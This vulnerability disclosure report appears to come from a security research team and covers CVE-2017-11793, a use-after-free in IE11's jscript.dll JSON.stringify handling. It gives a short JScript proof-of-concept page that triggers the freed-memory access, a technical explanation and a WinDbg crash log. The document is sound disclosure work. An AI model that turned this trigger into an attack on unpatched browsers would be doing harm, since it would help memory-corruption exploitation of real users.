IE11: use-after-free in jscript!JSONStringifyObject 

CVE-2017-11793


There is a use-after-free in jscript.dll library that can be exploited in IE11.

PoC:

=========================================

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var o1 = {toJSON:function(){
  alert('o1');
  return [o2];
}}

var o2 = {toJSON:function(){
  alert('o2');
  CollectGarbage();
  return 'x';
}}

JSON.stringify(o1);

</script>

=========================================

Technical details: 

JSONStringifyObject first calls JSONApplyFilters which calls an argument's toString method. However the return value of the toString method won't be on the garbage collector's root object list and thus can be freed during subsequent callbacks.

Debug log:

=========================================

0:028> g
(df8.e48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!JSONStringifyArray+0x38f:
000007fe`edbf9fb3 66214738        and     word ptr [rdi+38h],ax ds:00000000`04518fc8=????

0:014> r
rax=000000000000fffb rbx=0000000000000000 rcx=0000000000000005
rdx=0000000000000005 rsi=00000000129ca100 rdi=0000000004518f90
rip=000007feedbf9fb3 rsp=00000000129c9f30 rbp=00000000129c9fa9
 <a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000000000000  <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000000405d670 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=0000000000000081
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=00000000129c9f00 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000000000001 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000001
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000000000000 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=00000000129ca1a8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
jscript!JSONStringifyArray+0x38f:
000007fe`edbf9fb3 66214738        and     word ptr [rdi+38h],ax ds:00000000`04518fc8=????

0:014> k
 # Child-SP          RetAddr           Call Site
00 00000000`129c9f30 000007fe`edbfa2cc jscript!JSONStringifyArray+0x38f
01 00000000`129ca000 000007fe`edbfec94 jscript!JSONStringifyObject+0x2dc
02 00000000`129ca0b0 000007fe`edb9c2ec jscript!JsJSONStringify+0x3e4
03 00000000`129ca190 000007fe`edb9a9fe jscript!NatFncObj::Call+0x138
04 00000000`129ca240 000007fe`edb9b234 jscript!NameTbl::InvokeInternal+0x3f8
05 00000000`129ca360 000007fe`edb99852 jscript!VAR::InvokeByName+0x81c
06 00000000`129ca570 000007fe`edb99929 jscript!VAR::InvokeDispName+0x72
07 00000000`129ca5f0 000007fe`edb924b8 jscript!VAR::InvokeByDispID+0x1229
08 00000000`129ca640 000007fe`edb98ec2 jscript!CScriptRuntime::Run+0x5a6
09 00000000`129cb440 000007fe`edb98d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
0a 00000000`129cb650 000007fe`edb98b95 jscript!ScrFncObj::Call+0xb7
0b 00000000`129cb6f0 000007fe`edb9e6c0 jscript!CSession::Execute+0x19e
0c 00000000`129cb7c0 000007fe`edba70e7 jscript!COleScript::ExecutePendingScripts+0x17a
0d 00000000`129cb890 000007fe`edba68d6 jscript!COleScript::ParseScriptTextCore+0x267
0e 00000000`129cb980 000007fe`ee2f5251 jscript!COleScript::ParseScriptText+0x56
0f 00000000`129cb9e0 000007fe`eea7b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
10 00000000`129cba60 000007fe`ee2f6256 MSHTML!CScriptCollection::ParseScriptText+0x37f
11 00000000`129cbb40 000007fe`ee2f5c8e MSHTML!CScriptData::CommitCode+0x3d9
12 00000000`129cbd10 000007fe`ee2f5a11 MSHTML!CScriptData::Execute+0x283
13 00000000`129cbdd0 000007fe`eeab46fb MSHTML!CHtmScriptParseCtx::Execute+0x101
14 00000000`129cbe10 000007fe`ee398a5b MSHTML!CHtmParseBase::Execute+0x235
15 00000000`129cbeb0 000007fe`ee272e39 MSHTML!CHtmPost::Broadcast+0x90
16 00000000`129cbef0 000007fe`ee2ccaef MSHTML!CHtmPost::Exec+0x4bb
17 00000000`129cc100 000007fe`ee2cca40 MSHTML!CHtmPost::Run+0x3f
18 00000000`129cc130 000007fe`ee2cda12 MSHTML!PostManExecute+0x70
19 00000000`129cc1b0 000007fe`ee2d0843 MSHTML!PostManResume+0xa1
1a 00000000`129cc1f0 000007fe`ee2b6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
1b 00000000`129cc240 000007fe`eeae4f78 MSHTML!CDwnChan::OnMethodCall+0x41
1c 00000000`129cc270 000007fe`ee1d9d75 MSHTML!GlobalWndOnMethodCall+0x240
1d 00000000`129cc310 00000000`771f9bbd MSHTML!GlobalWndProc+0x150
1e 00000000`129cc390 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad
1f 00000000`129cc450 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5
20 00000000`129cc4d0 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
21 00000000`129cf750 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3
22 00000000`129cf880 000007fe`efb2925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
23 00000000`129cf8b0 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
24 00000000`129cf900 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd
25 00000000`129cf930 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

0:014> !heap -p -a 00000000`04518fc8
    address 0000000004518fc8 found in
    _DPH_HEAP_ROOT @ 3d31000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    3d49750:          4518000             2000
    000007feefb88726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2
    00000000774c4255 ntdll!RtlDebugFreeHeap+0x0000000000000035
    000000007746797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982
    000007fefd4b10c8 msvcrt!free+0x000000000000001c
    000007feedb9bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022
    000007feedb9b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240
    000007feedbb42cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d
    000007feedb919e2 jscript!GcContext::Reclaim+0x00000000000000ae
    000007feedba1956 jscript!GcContext::CollectCore+0x000000000000018b
    000007feedba17a5 jscript!GcContext::Collect+0x0000000000000025
    000007feedbe42f3 jscript!JsCollectGarbage+0x0000000000000023
    000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138
    000007feedb9c199 jscript!NameTbl::InvokeInternal+0x0000000000000377
    000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea
    000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6
    000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162
    000007feedb98d2b jscript!ScrFncObj::Call+0x00000000000000b7
    000007feedbc2084 jscript!NameTbl::InvokeInternal+0x000000000000060f
    000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea
    000007feedbf8ee3 jscript!GCProtectKeyAndCall+0x000000000000009f
    000007feedbf97a6 jscript!JSONApplyFilters+0x000000000000014a
    000007feedbfa08b jscript!JSONStringifyObject+0x000000000000009b
    000007feedbf9e77 jscript!JSONStringifyArray+0x0000000000000253
    000007feedbfa2cc jscript!JSONStringifyObject+0x00000000000002dc
    000007feedbfec94 jscript!JsJSONStringify+0x00000000000003e4
    000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138
    000007feedb9a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8
    000007feedb9b234 jscript!VAR::InvokeByName+0x000000000000081c
    000007feedb99852 jscript!VAR::InvokeDispName+0x0000000000000072
    000007feedb99929 jscript!VAR::InvokeByDispID+0x0000000000001229
    000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6
    000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162

=========================================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: ifratric